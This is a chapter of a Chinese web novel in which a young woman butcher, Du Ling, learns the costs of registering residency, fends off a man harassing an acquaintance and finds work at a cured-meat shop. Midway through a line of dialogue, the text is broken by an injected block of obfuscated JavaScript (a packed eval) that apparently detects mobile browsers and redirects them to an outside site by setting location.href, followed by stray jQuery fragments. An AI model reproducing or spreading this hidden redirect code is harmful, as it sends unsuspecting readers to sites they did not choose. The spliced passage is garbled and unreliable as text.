7. 做工

作品:《我有一把杀猪刀

    杜玲按照伙计给的路线,一路摸到了县令府,花了几十文钱开路打听,问来了现在开具路引和户碟的价格。


    按大周律法,平民在户籍所在县内短时间行走无需路引,只需户碟证明,户碟由里长画押开具。若要跨县通行,需持县府开具的路引和经里长画押开具、县府核验盖章的户碟。


    而迁居,不论距离多少,均需持里长画押开具的户碟上报县府,并在县府补齐原籍地到迁居地的路引费用。除此之外,还要在县府注销原籍、开具迁居许可、凭房契或落户、开具新户籍。


    杜玲打听的,便是庆镇迁居何镇的费用。


    收了茶水费的书吏面色仍旧不耐,拿来一张写着什么的黄纸瞥了两眼,说道:“户籍印红费一百文,迁居路引一百五十文,注销原籍两百文,迁居许可三百文,落户两百文、户籍工本费、誉写费、印红费三百文。”


    像是想起了什么似的,书吏懒懒的弹了弹手指,补充道:


    “这是正常费用,加急要加价。”


    杜玲听明白了。


    这就是说给了刚刚说的那些钱也办不下来,还得另外花钱打点加急。


    “那若是暂住呢?”


    除了日常通行和迁居外,在非户籍地长时间停留也是要收费的,这个费用便由暂居文引、留貌存档、定时报备三项组成。


    “暂住花费少些,文引三个月内五十文,半年八十文,一年一百文。留貌存档润笔费三十文一次,报备工本费二十文一次,加急加价。”


    ...


    离开县府,杜玲揣着一肚子心事走在大街上。


    她知道迁居落户是个难事,但没想到这么难。她原本也没想着自己能马上落户,只预备着先在这找个营生,攒点钱租赁个房子,安稳下来后慢慢打算,但总归目标在这里,提早些打听清楚也好做准备。


    迁居遥遥无期,定居也难度不小。暂住一年都得花小半两银子打点。


    她不由得叹了口气。


    多想无益,庆镇她是绝不可能回去了,趁时辰还早,先去看看镇子上有没有哪里招工的。


    杜玲第一个想到的便是肉铺。


    她有屠宰牲畜的经验,若能寻个屠宰的活计,哪怕是与店家分成低些,也是一笔可观的收入。


    只可惜问了几家铺子,不管缺不缺帮工,一看她是个女郎便直接拒绝,连试的机会都不给。


    “去去去,小丫头片子杀什么猪,忙着呢。”


    杜玲无法,又兜兜转转的打听了些别的活计。


    她自小跟着父亲在肉铺干活,一般女孩学的针线手脚只能说是比男人略强一些,但完全不能以此谋生。


    担柴扛包一类,太过辛苦银钱却少。


    逛了一天下来,竟没找到合适的。


    日头西斜,杜玲记挂着一个人在店里的母亲,便不再四处寻摸,心里暗想着明日若是还没有合适的,便先去粮店抗几日大包先,好歹有个进项。


    “我已为人妇人母,你嘴里说话放干净些。”


    “你那死鬼相公半年多没声响,刘二说他连原本每月汇来的银钱都断了,你还有什么好记挂的,不如跟了我,小涛还不必天天被人笑是没爹的野种。”


    ...


    行过一道小巷子口,杜玲听见里头有男女争执声。


    她往里瞄了一眼,只见那男人嘴上说不动,竟开始上手了。


    而被他钳住手的女人在挣扎间露出半张叫杜玲十分眼熟的脸来。


    杨兰蕙又急又气。


    这陈虎是夫家弟弟刘二的好友,原先相公还在家里时还装的人模狗样的,相公从军后,便在言语上多有骚扰。


    现在居然还趁她独自出门把她堵在这里!


    眼见着自己挣脱无望,她眼泪不由得盈满了眼眶,却叫陈虎愈加兴奋。


    “蕙娘,我会对你好的。”


    急匆匆的甩下这么一句,陈虎就急不可耐的把嘴凑了上去。


    结果还没亲到人,头皮传来的剧痛便拉扯着他整个人狠狠向后倒去。


    杨兰蕙一愣,透过泪眼婆娑看到了一双黑沉的眸子。


    见坏了自己好事的居然是个小娘皮,陈虎当下便破口大骂。


    “哪来的小贱人,敢坏我的好事!”


    杜玲向来是能动手就不动口,但镇子不比村里,打架闹事是要被抓起来的,便从散落一地的东西里拾起一根扁担,狠狠往地上一砸。


    腕口粗的扁担顿时发出一声断裂的脆响,一道细密的裂痕随之出现,黄泥地也被砸出一道深深的坑洞来。


    陈虎瑟缩了一下,被这一手震住了。


    他也不过是普通百姓,平日里连地痞流氓都算不上,见杜玲露这一手,留下句强撑脸皮的威胁话,便急忙离开了。


    陈虎彻底没了身影,杜玲才几步上前把散落在地上的东西收拾到箩筐里。


    杨兰蕙也从震惊中回神,嘴上忙说着:“我来我来,不必麻烦了。”


    待东西又重新规整好,杜玲将手里的扁担递给杨兰蕙,面上浮出几分不好意思。


    “这扁担给我弄裂了,怕是不顶用了。”


    杨兰蕙急忙摇头摆手:“不碍事不碍事,一根扁担罢了,又不是什么贵重物件,而且你帮了我,我说道谢还来不及呢,哪来的脸皮责怪你。”


    说着,她将扁担接过来挑着箩筐到肩上。


    “没想到这么快就又见面了,你娘呢?现在住在哪儿呢?”


    “住在东边那家来福脚店里。”


    杨兰蕙嫁到何镇好几年了,自然知道镇子上大小店铺的情况,闻言点点头,说那家店老板人还不错,不必担心店家坐地起价或是伙计偷盗的事情。


    “我家就在前头,去坐坐吧?顺便认认路子,以后可以常走动。”


    杜玲心里存着向杨兰蕙打听赚钱路子的心思,便跟着一起去了。


    杨兰蕙夫家姓刘,刘家人口简单,两个儿子,哥哥刘平,也就是她丈夫,弟弟刘荣。除此之外便是弟媳王氏、儿子刘峰和婆婆张氏。


    回到家中,杨兰蕙将东西放下来,拉着杜玲回自己屋里聊天。


    刘平在外头做工,儿子跟着婆婆到镇上溜达玩闹去了,家里就只有弟媳在。


    王氏听到声音出来问了两句,一双眼睛在杜玲身上来回的打量。


    “嫂子,有客人啊?”


    杨兰蕙对外人都温柔亲和,更不论自己家里人了,轻声解释了两句,便在王氏盯梢般的视线下进了屋子。


    只一个照面,杜玲便知道杨兰蕙在家里估计也没什么安生日子。


    能结交陈虎那样的朋友,这刘二怕也不是什么好货色,那王氏又一脸精明算计像,看着也不是好相与的。


    她心下转了几道,面上却没显露出来。


    杨兰蕙倒了杯凉水给杜玲,问起她接下来的打算。


    杜玲本就是为了这个而来,便简单说了说自己现下的困境。


    “...所以想问问蕙姐,看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551798|171258||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可知道周边有没有合适我做工的,好歹能有些进项。”


    杨兰蕙也有些难住了。


    招工的铺子多了去,但招女子的多是浆洗洒扫缝补的活计,这些杜玲不甚擅长,银钱也少...


    她突然想到杜玲刚刚显露出来的那一手力气,眼睛一亮,有了想法。


    “我记得玲儿你之前在老家是做宰杀牲畜的对吧。”


    见杜玲点头,她面上带出几分喜色来。


    “我现在做工的东家是专做腊味的,店里的切刀师傅前些天摔折了手,没法来了,现在正在找人呢,你有经验,力气又大,再合适不过了。只是...”


    杨兰蕙语气低了几分。


    “那切刀师傅还得兼着搬些货物,着实是个苦力活,但工钱是不低的,虽说比不上肉铺师傅,但比扛大包一类的高多了。”


    只要工钱到位,辛苦些算什么。


    杜玲当下就应承下来。


    “那行,你明日到二尾巷那等我,我带你去找东家。”


    两人就明日的行程又说了两句,杜玲便告辞了。


    推门出去的时候,杜玲还看到了王氏回房的身影。


    ——


    次日,杜玲早早的摸到二尾巷来,等了一刻多钟,杨兰蕙的身影出现在巷口。


    “你这么早就到啦。”


    已经比约定时间到的早一些杨兰蕙讶异道。不过思及杜玲现在的处境,便也理解她的急迫,没有多说废话,领着人往店里走。


    杨兰蕙做工的店铺名叫老杨腊铺,东家和杨兰蕙是同族人,因此虽然面上狐疑,但还是给了杜玲展示的机会。


    杜玲要的就是这个机会,拿出自己苦练多年的刀法,利落的切了大半扇猪肉,把杨兰蕙和东家都惊住了。


    “这刀法确实不错,可我这里的肉都得你自己搬,可没法给你配个打杂的下手。”


    东家对刀法是满意的,但想到这搬东西这事上有犹豫起来。


    “我力气够的,前几天在老家杀猪,也都是自己抗的猪肉。”


    杜玲说着,怕人不信,还跑到旁边放肉的板车上抗了半扇猪肉来回走了好几趟。


    东家见这女郎搬着百来斤的猪肉走路,脚下步子稳当的同时,脸上神色也半分不改,便相信她确实力气不输男人。


    能力没问题,又是同宗族人带来的。


    东家便爽快的拍板定了下来,价钱给的也公道,没有因为她是姑娘家就压价。


    老杨腊铺的生意做的很不错,在何镇周边一片也有些口碑,因此东家雇人也谨慎。找了个专写契书的老翁,将工钱要求尽数写明,两个各自画押,这才算正是雇了杜玲了。


    杜玲出门时便和杜大娘说过,成与不成自己都要等晚上才回来,因此签完契书后便留在店里干活。


    东家忙的很,见人老实干活,便外出送货去了。


    铺子里不管饭,杜玲在边上的包子铺里花了一文钱买了个粗面馒头,就着店里的水简单对付了一餐。


    等这个月发了工钱,就去赁个屋子来,到时候便可以从家里做些吃食带来。


    埋头干了一天的活,杜玲迎着西斜的日头踏上了回脚店的路。


    到何镇的第三天就把赚钱的事情解决了,她心里松快了不少,感觉日子也有盼头了。、


    蕙姐帮了这么大的忙,等赁了屋子,定要请人上门吃一顿酒才行。


    她想着,脚下往巷子深处走去,却不防碰见了一个倒地不醒的男人。